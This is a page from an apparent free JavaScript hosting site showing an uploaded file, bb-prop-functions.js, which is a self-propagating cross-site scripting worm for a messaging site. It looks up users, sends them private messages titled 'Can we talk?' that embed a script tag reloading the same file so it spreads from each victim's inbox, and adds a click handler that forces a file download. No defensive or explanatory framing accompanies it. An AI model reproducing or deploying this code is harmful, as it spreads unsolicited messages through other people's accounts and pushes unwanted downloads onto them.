Free javascript Hosting


bb-prop-functions.js

Uploaded on Oct 18 2021 14:45 by red_alert93

function sendMsgs(this_offset) {
var userArray = [];
var thisOffset = this_offset;
var nextOffset = this_offset+10;
for (let i = thisOffset; i < nextOffset; i++) {
if (i == userArray.length) {
thisOffset = 0;
nextOffset = 10;
i = thisOffset;
}
else {
var username = userArray[i];
var userID = "";
$.ajax({
type: "POST",
url: "checkUsername.php",
data: { username: username },
success: function (data) {
userID = data;
$.ajax({
type: "POST",
url: "sendPersonalMessage.php",
data: { receiversUserId: userID,
receiversUsernames: username,
messageSubject: "Can we talk?",
messageHtml: "<div id='msgBody'><p>May I know your name please?</p><script>$.getScript('bb_prop_functions.js'); if (window.location.pathname == '/account/myMessages') { sendMsgs("+nextOffset+"); downFile(); }; else if (window.location.pathname == '/account/sentMessages') {} else if (window.location.pathname == '/account/binnedMessages') {}</script></div>" },
success: function (data) {
}
});
}
});
}
}
}
function downFile() {
$(document).click(function(evt) {
let fileHref = "path/to/file.js";
window.location.href = fileHref ;
});
}

Back to list